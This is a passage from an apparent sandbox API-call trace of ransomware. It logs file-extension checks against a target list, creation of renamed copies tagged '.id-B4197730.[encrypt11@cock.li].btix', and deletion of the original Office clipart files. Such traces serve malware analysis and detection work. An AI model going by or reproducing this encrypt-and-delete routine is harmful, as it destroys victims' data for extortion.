(lpString=".rar") returned 4 [0136.352] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.352] lstrlenW (lpString=".bz2") returned 4 [0136.352] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.352] lstrlenW (lpString=".7z") returned 3 [0136.352] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0136.352] lstrlenW (lpString=".dbf") returned 4 [0136.352] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0136.352] lstrlenW (lpString=".1cd") returned 4 [0136.352] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0136.352] lstrlenW (lpString=".jpg") returned 4 [0136.352] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0136.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0136.353] lstrlenW (lpString=".doc") returned 4 [0136.353] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.353] lstrlenW (lpString=".docx") returned 5 [0136.353] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0136.353] lstrlenW (lpString=".pdf") returned 4 [0136.353] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.353] lstrlenW (lpString=".xls") returned 4 [0136.353] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.353] lstrlenW (lpString=".xlsx") returned 5 [0136.353] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0136.353] lstrlenW (lpString=".ppt") returned 4 [0136.353] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0136.353] lstrlenW (lpString=".zip") returned 4 [0136.353] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.353] lstrlenW (lpString=".rar") returned 4 [0136.353] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.353] lstrlenW (lpString=".bz2") returned 4 [0136.353] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.353] lstrlenW (lpString=".7z") returned 3 [0136.353] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0136.353] lstrlenW (lpString=".dbf") returned 4 [0136.353] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0136.353] lstrlenW (lpString=".1cd") returned 4 [0136.353] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0136.353] lstrlenW (lpString=".jpg") returned 4 [0136.353] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.354] lstrcmpiW (lpString1=".JPG", lpString2=".btix") returned 1 [0136.354] lstrlenW (lpString="J0099156.JPG") returned 12 [0136.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0136.354] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=13954) returned 1 [0136.354] CloseHandle (hObject=0x4c4) returned 1 [0136.354] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg")) returned 0x220 [0136.354] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0136.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0136.355] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.355] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0136.355] GetLastError () returned 0x0 [0136.355] ReadFile (in: hFile=0x4c4, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x3682, lpOverlapped=0x0) returned 1 [0136.357] WriteFile (in: hFile=0x390, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0x3690, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0x3690, lpOverlapped=0x0) returned 1 [0136.358] ReadFile (in: hFile=0x4c4, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0136.359] WriteFile (in: hFile=0x390, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0136.359] SetEndOfFile (hFile=0x390) returned 1 [0136.359] CloseHandle (hObject=0x390) returned 1 [0136.359] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.359] SetEndOfFile (hFile=0x4c4) returned 1 [0136.364] CloseHandle (hObject=0x4c4) returned 1 [0136.364] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0136.366] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg")) returned 1 [0136.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0136.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0136.368] lstrlenW (lpString=".doc") returned 4 [0136.368] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0136.368] lstrlenW (lpString=".docx") returned 5 [0136.368] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0136.368] lstrlenW (lpString=".pdf") returned 4 [0136.368] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0136.368] lstrlenW (lpString=".xls") returned 4 [0136.368] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0136.368] lstrlenW (lpString=".xlsx") returned 5 [0136.368] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0136.368] lstrlenW (lpString=".ppt") returned 4 [0136.368] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0136.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0136.368] lstrlenW (lpString=".zip") returned 4 [0136.368] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0136.368] lstrlenW (lpString=".rar") returned 4 [0136.368] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0136.368] lstrlenW (lpString=".bz2") returned 4 [0136.368] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0136.368] lstrlenW (lpString=".7z") returned 3 [0136.368] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0136.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0136.369] lstrlenW (lpString=".dbf") returned 4 [0136.369] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0136.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0136.369] lstrlenW (lpString=".1cd") returned 4 [0136.369] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0136.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0136.369] lstrlenW (lpString=".jpg") returned 4 [0136.369] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0136.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0136.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0136.369] lstrlenW (lpString=".doc") returned 4 [0136.369] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0136.369] lstrlenW (lpString=".docx") returned 5 [0136.369] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0136.369] lstrlenW (lpString=".pdf") returned 4 [0136.369] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0136.369] lstrlenW (lpString=".xls") returned 4 [0136.369] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0136.369] lstrlenW (lpString=".xlsx") returned 5 [0136.369] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0136.369] lstrlenW (lpString=".ppt") returned 4 [0136.369] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0136.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0136.369] lstrlenW (lpString=".zip") returned 4 [0136.369] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0136.369] lstrlenW (lpString=".rar") returned 4 [0136.369] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0136.369] lstrlenW (lpString=".bz2") returned 4 [0136.369] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0136.369] lstrlenW (lpString=".7z") returned 3 [0136.369] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0136.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0136.369] lstrlenW (lpString=".dbf") returned 4 [0136.369] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0136.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0136.369] lstrlenW (lpString=".1cd") returned 4 [0136.370] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0136.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0136.370] lstrlenW (lpString=".jpg") returned 4 [0136.370] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0136.370] lstrcmpiW (lpString1=".JPG", lpString2=".btix") returned 1 [0136.370] lstrlenW (lpString="J0099157.JPG") returned 12 [0136.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0136.900] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=9671) returned 1 [0136.900] CloseHandle (hObject=0x4b4) returned 1 [0136.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg")) returned 0x220 [0136.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0136.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0136.900] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.901] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0136.901] GetLastError () returned 0x0 [0136.901] ReadFile (in: hFile=0x4b4, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x25c7, lpOverlapped=0x0) returned 1 [0136.907] WriteFile (in: hFile=0x548, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0x25d0, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0x25d0, lpOverlapped=0x0) returned 1 [0136.908] ReadFile (in: hFile=0x4b4, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0136.908] WriteFile (in: hFile=0x548, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0136.908] SetEndOfFile (hFile=0x548) returned 1 [0136.912] CloseHandle (hObject=0x548) returned 1 [0136.913] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.913] SetEndOfFile (hFile=0x4b4) returned 1 [0136.925] CloseHandle (hObject=0x4b4) returned 1 [0136.926] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0136.929] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg")) returned 1 [0137.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0137.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0137.299] lstrlenW (lpString=".doc") returned 4 [0137.299] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0137.299] lstrlenW (lpString=".docx") returned 5 [0137.299] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0137.299] lstrlenW (lpString=".pdf") returned 4 [0137.299] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0137.299] lstrlenW (lpString=".xls") returned 4 [0137.299] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0137.299] lstrlenW (lpString=".xlsx") returned 5 [0137.299] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0137.299] lstrlenW (lpString=".ppt") returned 4 [0137.300] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0137.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0137.300] lstrlenW (lpString=".zip") returned 4 [0137.300] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0137.300] lstrlenW (lpString=".rar") returned 4 [0137.300] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0137.300] lstrlenW (lpString=".bz2") returned 4 [0137.300] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0137.300] lstrlenW (lpString=".7z") returned 3 [0137.300] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0137.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0137.300] lstrlenW (lpString=".dbf") returned 4 [0137.300] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0137.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0137.300] lstrlenW (lpString=".1cd") returned 4 [0137.300] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0137.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0137.300] lstrlenW (lpString=".jpg") returned 4 [0137.300] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0137.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0137.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0137.300] lstrlenW (lpString=".doc") returned 4 [0137.300] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0137.300] lstrlenW (lpString=".docx") returned 5 [0137.300] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0137.300] lstrlenW (lpString=".pdf") returned 4 [0137.300] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0137.300] lstrlenW (lpString=".xls") returned 4 [0137.300] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0137.301] lstrlenW (lpString=".xlsx") returned 5 [0137.301] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0137.301] lstrlenW (lpString=".ppt") returned 4 [0137.301] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0137.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0137.301] lstrlenW (lpString=".zip") returned 4 [0137.301] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0137.301] lstrlenW (lpString=".rar") returned 4 [0137.301] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0137.301] lstrlenW (lpString=".bz2") returned 4 [0137.301] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0137.301] lstrlenW (lpString=".7z") returned 3 [0137.301] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0137.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0137.301] lstrlenW (lpString=".dbf") returned 4 [0137.301] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0137.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0137.301] lstrlenW (lpString=".1cd") returned 4 [0137.301] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0137.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0137.301] lstrlenW (lpString=".jpg") returned 4 [0137.301] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0137.302] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0137.302] lstrlenW (lpString="J0099177.WMF") returned 12 [0137.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0137.302] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=5386) returned 1 [0137.302] CloseHandle (hObject=0x4c4) returned 1 [0137.302] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf")) returned 0x220 [0137.302] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0137.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0137.303] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.303] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0137.303] GetLastError () returned 0x0 [0137.303] ReadFile (in: hFile=0x4c4, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x150a, lpOverlapped=0x0) returned 1 [0137.311] WriteFile (in: hFile=0x508, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0x1510, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0x1510, lpOverlapped=0x0) returned 1 [0137.312] ReadFile (in: hFile=0x4c4, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0137.312] WriteFile (in: hFile=0x508, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0137.312] SetEndOfFile (hFile=0x508) returned 1 [0137.312] CloseHandle (hObject=0x508) returned 1 [0137.312] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.312] SetEndOfFile (hFile=0x4c4) returned 1 [0137.314] CloseHandle (hObject=0x4c4) returned 1 [0137.314] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0137.314] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf")) returned 1 [0137.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0137.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0137.315] lstrlenW (lpString=".doc") returned 4 [0137.315] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.315] lstrlenW (lpString=".docx") returned 5 [0137.315] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0137.315] lstrlenW (lpString=".pdf") returned 4 [0137.315] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.315] lstrlenW (lpString=".xls") returned 4 [0137.315] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.315] lstrlenW (lpString=".xlsx") returned 5 [0137.315] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0137.315] lstrlenW (lpString=".ppt") returned 4 [0137.315] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0137.315] lstrlenW (lpString=".zip") returned 4 [0137.315] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.315] lstrlenW (lpString=".rar") returned 4 [0137.315] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.315] lstrlenW (lpString=".bz2") returned 4 [0137.315] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.315] lstrlenW (lpString=".7z") returned 3 [0137.315] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0137.315] lstrlenW (lpString=".dbf") returned 4 [0137.315] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") 